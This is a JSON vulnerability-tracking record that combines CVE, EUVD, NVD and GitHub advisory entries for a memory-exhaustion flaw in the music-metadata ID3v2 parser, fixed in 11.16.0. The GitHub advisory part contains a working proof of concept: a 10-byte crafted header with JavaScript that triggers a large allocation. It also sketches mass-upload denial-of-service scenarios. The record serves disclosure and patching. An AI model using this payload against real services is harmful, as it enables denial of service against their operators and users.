{"id":"CVE-2026-107388","revision":null,"records":[{"revision":"23b9fe3074b749e8a786138095a72034","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-107388","aliases":[],"title":"music-metadata: ID3v2 tag size not validated before allocation, causing memory exhaustion DoS","description":"music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the ID3v2 parser trusts the syncsafe tag-size field and allocates the complete tag body before checking whether the input contains the declared bytes. A truncated file containing only an ID3v2 header can request an allocation approaching 268 MiB; the allocation succeeds, the subsequent read reaches end of stream, the EndOfStreamError is caught internally, and the caller receives a normal metadata object. This issue is fixed in version 11.16.0.","state":0,"publishedAt":"2026-10-08T19:00:24.725+00:00","modifiedAt":"2026-10-14T02:44:54.96+00:00","affected":[{"ecosystem":"Vendor product","name":"music-metadata","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"Borewit\",\n                    \"product\": \"music-metadata\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 11.16.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":6.2,"severity":"MEDIUM"}],"references":["https://github.com/Borewit/music-metadata/security/advisories/GHSA-jjpr-9cvf-cq55","https://github.com/Borewit/music-metadata/pull/2743","https://github.com/Borewit/music-metadata/commit/b033db675b913a9dba1d29135ec3c10eae7095a7","https://github.com/Borewit/music-metadata/releases/tag/v11.16.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-107388","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-107388","identifiers":["CVE-2026-107388"]},"retained":false,"historicalAffected":[]},{"revision":"3785c852fc6e4e80bc31f7c121779ea9","observedAt":"2026-11-09T05:07:52.344+00:00","statement":{"source":"euvd","id":"EUVD-2026-95169","aliases":["CVE-2026-107388","GHSA-jjpr-9cvf-cq55"],"title":"music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the ID3v2 parser trusts the syncsafe tag-size field and allocates the complete tag body before checking whether the input contains the declared bytes. A …","description":"music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the ID3v2 parser trusts the syncsafe tag-size field and allocates the complete tag body before checking whether the input contains the declared bytes. A truncated file containing only an ID3v2 header can request an allocation approaching 268 MiB; the allocation succeeds, the subsequent read reaches end of stream, the EndOfStreamError is caught internally, and the caller receives a normal metadata object. This issue is fixed in version 11.16.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":6.2,"severity":null}],"references":["https://github.com/Borewit/music-metadata/security/advisories/GHSA-jjpr-9cvf-cq55","https://github.com/Borewit/music-metadata/pull/2743","https://github.com/Borewit/music-metadata/commit/b033db675b913a9dba1d29135ec3c10eae7095a7","https://github.com/Borewit/music-metadata/releases/tag/v11.16.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-95169","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 8, 2026, 7:00:24 PM","dateUpdated":"Oct 14, 2026, 2:44:54 AM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-95169","identifiers":["EUVD-2026-95169","CVE-2026-107388","GHSA-jjpr-9cvf-cq55"]},"retained":false,"historicalAffected":[]},{"revision":"a3ed0fc87a6e4cd79234e185d940499d","observedAt":"2026-10-25T05:17:13.11+00:00","statement":{"source":"nvd","id":"CVE-2026-107388","aliases":[],"title":"music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the ID3v2 parser trusts the syncsafe tag-size field and allocates the complete tag body before checking whether the input contains the declared bytes. A …","description":"music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the ID3v2 parser trusts the syncsafe tag-size field and allocates the complete tag body before checking whether the input contains the declared bytes. A truncated file containing only an ID3v2 header can request an allocation approaching 268 MiB; the allocation succeeds, the subsequent read reaches end of stream, the EndOfStreamError is caught internally, and the caller receives a normal metadata object. This issue is fixed in version 11.16.0.","state":0,"publishedAt":"2026-10-08T19:17:01.683+00:00","modifiedAt":"2026-10-14T03:17:14.177+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":6.2,"severity":"MEDIUM"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":5.5,"severity":"MEDIUM"}],"references":["https://github.com/Borewit/music-metadata/commit/b033db675b913a9dba1d29135ec3c10eae7095a7","https://github.com/Borewit/music-metadata/pull/2743","https://github.com/Borewit/music-metadata/releases/tag/v11.16.0","https://github.com/Borewit/music-metadata/security/advisories/GHSA-jjpr-9cvf-cq55"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107388","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-789"],"productCriteria":["cpe:2.3:a:borewit:music-metadata:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-10-08T19:17:01.683","lastModified":"2026-10-14T03:17:14.177"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-107388","identifiers":["CVE-2026-107388"]},"retained":false,"historicalAffected":[]},{"revision":"9a5f333811564c5c9e612545f0095eb7","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-jjpr-9cvf-cq55","aliases":["CVE-2026-107388"],"title":"music-metadata: ID3v2 tag size not validated before allocation, causing memory exhaustion DoS","description":"### Summary\n\nThe ID3v2 parser in music-metadata trusts the tag size field without validation and allocates the full requested buffer before reading. A specially crafted MP3 file with a truncated ID3v2 tag can force allocation of up to 268 MB from a 10-byte file, causing server memory exhaustion. This vulnerability affects all parsers that support ID3v2 tags (MP3, FLAC, DSF, Musepack) and succeeds silently—callers don't see an error.\n\n---\n\n### Details\n\n**Vulnerable Code Path:**\n\n- `lib/id3v2/ID3v2Token.ts:108` - Syncsafe size read without validation\n- `lib/id3v2/ID3v2Parser.ts:122` - Full tag body allocated before reading\n- `lib/id3v2/AbstractID3Parser.ts:22` - Allocation happens before stream validation\n\n**Root Cause:**\n\nThe ID3v2 parser reads a syncsafe integer representing the tag size (maximum 268,435,455 bytes or 0x0FFFFFFF) and immediately allocates a buffer of that size without checking:\n\n1. If the tag size exceeds the remaining file size\n2. If the tag size exceeds a reasonable maximum\n3. If the subsequent read will actually succeed\n\n```typescript\n// ID3v2Token.ts:108\nconst size = ID3v2Header.header.toSize(); // Trusts syncsafe size directly\n\n// Later: Allocates without validation\nconst tagBody = await tokenizer.readBuffer(Buffer.alloc(size));\n// If actual data < size, read fails but allocation succeeded\n```\n\n**Attack Mechanism:**\n\n1. File contains valid ID3v2 header with 10 bytes total\n2. ID3v2 size field claims 268,435,455 bytes (maximum syncsafe value)\n3. Parser allocates 268 MB buffer\n4. Stream read fails (EOF) after 10 bytes\n5. `EndOfStreamError` is caught internally and silently handled\n6. Caller receives normal metadata object\n7. 268 MB remains allocated until garbage collection\n\n**Affected Parsers:** MP3 (primary), FLAC, DSF, Musepack\n\n**Memory Amplification:** 10 bytes input → 268 MB allocation (26.8 million times amplification)\n\n---\n\n### PoC\n\n**Complete reproduction steps:**\n\n```javascript\nimport { parseBuffer } from 'music-metadata';\n\n// Create a minimal ID3v2 file with maximum tag size but truncated content\nconst maliciousFile = Uint8Array.from([\n  0x49, 0x44, 0x33,       // \"ID3\" identifier\n  0x04, 0x00,             // Version 2.4.0\n  0x00,                   // Flags (no unsync, no extended header, etc)\n  0x7f, 0x7f, 0x7f, 0x7f  // Syncsafe integer: maximum size (268,435,455 bytes)\n  // File ends here - truncated\n]);\n\nconsole.log('Input file size:', maliciousFile.byteLength, 'bytes');\n\ntry {\n  const metadata = await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });\n  console.log('✓ Parse succeeded (no error thrown)');\n  console.log('✓ Metadata returned:', metadata);\n  console.log('⚠️ ~268 MB was allocated despite only 10 bytes of input');\n} catch (error) {\n  console.error('✗ Unexpected error:', error.message);\n}\n```\n\n**To demonstrate memory impact:**\n\nRun with `node --expose-gc` to monitor allocations:\n\n```javascript\n// Extended PoC to show memory usage\nimport { parseBuffer } from 'music-metadata';\nimport { performance } from 'perf_hooks';\n\nconst maliciousFile = Uint8Array.from([\n  0x49, 0x44, 0x33, 0x04, 0x00, 0x00,\n  0x7f, 0x7f, 0x7f, 0x7f\n]);\n\n// Force garbage collection before test\nif (global.gc) global.gc();\nconst before = process.memoryUsage();\n\nconsole.log('Memory before:', {\n  heapUsed: (before.heapUsed / 1024 / 1024).toFixed(2) + ' MB',\n  external: (before.external / 1024 / 1024).toFixed(2) + ' MB'\n});\n\nconst start = performance.now();\nawait parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });\nconst duration = performance.now() - start;\n\nconst after = process.memoryUsage();\n\nconsole.log('Memory after:', {\n  heapUsed: (after.heapUsed / 1024 / 1024).toFixed(2) + ' MB',\n  external: (after.external / 1024 / 1024).toFixed(2) + ' MB',\n  heapDelta: ((after.heapUsed - before.heapUsed) / 1024 / 1024).toFixed(2) + ' MB',\n  externalDelta: ((after.external - before.external) / 1024 / 1024).toFixed(2) + ' MB'\n});\n\nconsole.log('Parse time:', duration.toFixed(2) + ' ms');\nconsole.log('Result:', after.external / 1024 / 1024 > 100 ? '⚠️ LARGE ALLOCATION' : '✓ Normal');\n```\n\n**Expected output:**\n\n```\nInput file size: 10 bytes\n✓ Parse succeeded (no error thrown)\n✓ Metadata returned: { format: {}, common: {}, native: {} }\n⚠️ ~268 MB was allocated despite only 10 bytes of input\n\nMemory before: { heapUsed: '2.50 MB', external: '0.00 MB' }\nMemory after: { heapUsed: '2.60 MB', external: '256.00 MB' }\nexternalDelta: 256.00 MB\nParse time: 15.23 ms\nResult: ⚠️ LARGE ALLOCATION\n```\n\n---\n\n### Impact\n\n**Vulnerability Type:** Uncontrolled Memory Allocation / Denial of Service (CWE-789)\n\n**Attack Vector:** Network - Any service that accepts and parses MP3/FLAC/DSF/Musepack files\n\n**Who is Impacted:**\n\n- Music streaming platforms (Spotify, Apple Music, YouTube Music, etc.)\n- Podcast hosting services (Podbean, Transistor, Anchor, etc.)\n- Media servers (Plex, Subsonic, Jellyfin, etc.)\n- Audio processing services (Discord, Slack, Teams)\n- Any web service with file upload that uses music-metadata\n\n**Real-World Exploitation:**\n\n1. **Single Attacker, Multiple Files:**\n   - Upload 10 malicious ID3v2 files (10 bytes each)\n   - Force 2.68 GB memory allocation\n   - Overwhelm server memory capacity\n\n2. **Distributed Attack:**\n   - 100 concurrent uploads × 268 MB = 26.8 GB memory\n   - Exhaust server memory, force OOM kills\n   - Crash worker processes, cause DoS\n\n3. **Slow Leak:**\n   - Repeatedly upload truncated ID3v2 files\n   - Each parse allocates 268 MB\n   - Memory leaks accumulate over time\n   - Server becomes unresponsive\n\n4. **Cost Impact:**\n   - Forced to scale up server capacity for parsing\n   - Increased infrastructure costs\n   - Reduced service availability","state":0,"publishedAt":"2026-10-08T19:43:17+00:00","modifiedAt":"2026-10-08T20:00:05.873072+00:00","affected":[{"ecosystem":"npm","name":"music-metadata","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"11.16.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/Borewit/music-metadata/security/advisories/GHSA-jjpr-9cvf-cq55","https://github.com/Borewit/music-metadata/pull/2743","https://github.com/Borewit/music-metadata/commit/b033db675b913a9dba1d29135ec3c10eae7095a7","https://github.com/Borewit/music-metadata","https://github.com/Borewit/music-metadata/releases/tag/v11.16.0"],"sourceUrl":"https://github.com/advisories/GHSA-jjpr-9cvf-cq55","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-jjpr-9cvf-cq55","identifiers":["GHSA-jjpr-9cvf-cq55","CVE-2026-107388"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-10T06:04:36.9417469+00:00","complete":true,"records":1773,"lastAttemptAt":"2026-11-10T06:04:36.9417469+00:00","lastSuccessAt":"2026-11-10T06:04:37.1495753+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:04:37.1495759+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8859cf40d4337e24bd2f258cc7778fbad01bb24c79d057aaf34cf1dfc6f8917d-f6cc9b12cdb581c8c26d0d42311ec22aefb7992e88ee12bd79a0c89f476e29ff","complete":true,"records":421887,"lastAttemptAt":"2026-11-10T06:02:15.6675427+00:00","lastSuccessAt":"2026-11-10T06:02:15.5673353+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:02:15.6675427+00:00","snapshotPublishedAt":"2026-11-10T05:23:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2e6a476534094233b48f2f0b6da5cf35","complete":true,"records":13689,"lastAttemptAt":"2026-11-10T06:05:35.0354037+00:00","lastSuccessAt":"2026-11-10T06:05:35.03+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:05:35.03+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13742,"expectedIdentifiers":13742,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-10T06:04:36.9417469+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-10T06:04:36.9417469+00:00","lastSuccessAt":"2026-11-10T06:04:37.1503787+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:04:37.1503789+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-dcb6f23f313c40328d8b679af29a76c8","complete":false,"records":13695,"lastAttemptAt":"2026-11-10T06:05:02.8914576+00:00","lastSuccessAt":"2026-11-10T06:05:02.887+00:00","error":"100 identifier lookups failed; latest failures include request timeout. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-10T06:05:02.887+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13642,"expectedIdentifiers":13742,"failedIdentifiers":100},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-cdffb4589856378aa42e8d1bd4a6c74e27a180d8160bf764c44715ef760f0a62","complete":true,"records":9932,"lastAttemptAt":"2026-11-10T06:04:29.7401591+00:00","lastSuccessAt":"2026-11-10T00:04:19.8260565+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:04:29.7401591+00:00","snapshotPublishedAt":"2026-11-09T23:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-26503967ae4379db8f374089589d6e03fb15bd31f820c9e992aaf93840c2236c","complete":true,"records":1971,"lastAttemptAt":"2026-11-10T06:02:15.7348582+00:00","lastSuccessAt":"2026-11-09T21:02:20.472473+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:02:15.7348582+00:00","snapshotPublishedAt":"2026-11-09T20:18:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-14f555fdbdce5e9103ab1251a692b612ea1fcd0b3d538af6015a071f4b299249","complete":true,"records":3065,"lastAttemptAt":"2026-11-10T06:04:36.8991666+00:00","lastSuccessAt":"2026-11-10T06:04:36.7449268+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:04:36.8991666+00:00","snapshotPublishedAt":"2026-11-10T05:33:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-5b9134a1c92c7f3c542fa77c730904ae6f13b772cb6b6707fc58983c93af0933","complete":true,"records":231596,"lastAttemptAt":"2026-11-10T06:04:29.6144485+00:00","lastSuccessAt":"2026-11-10T06:04:28.0373789+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:04:29.6144485+00:00","snapshotPublishedAt":"2026-11-10T05:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}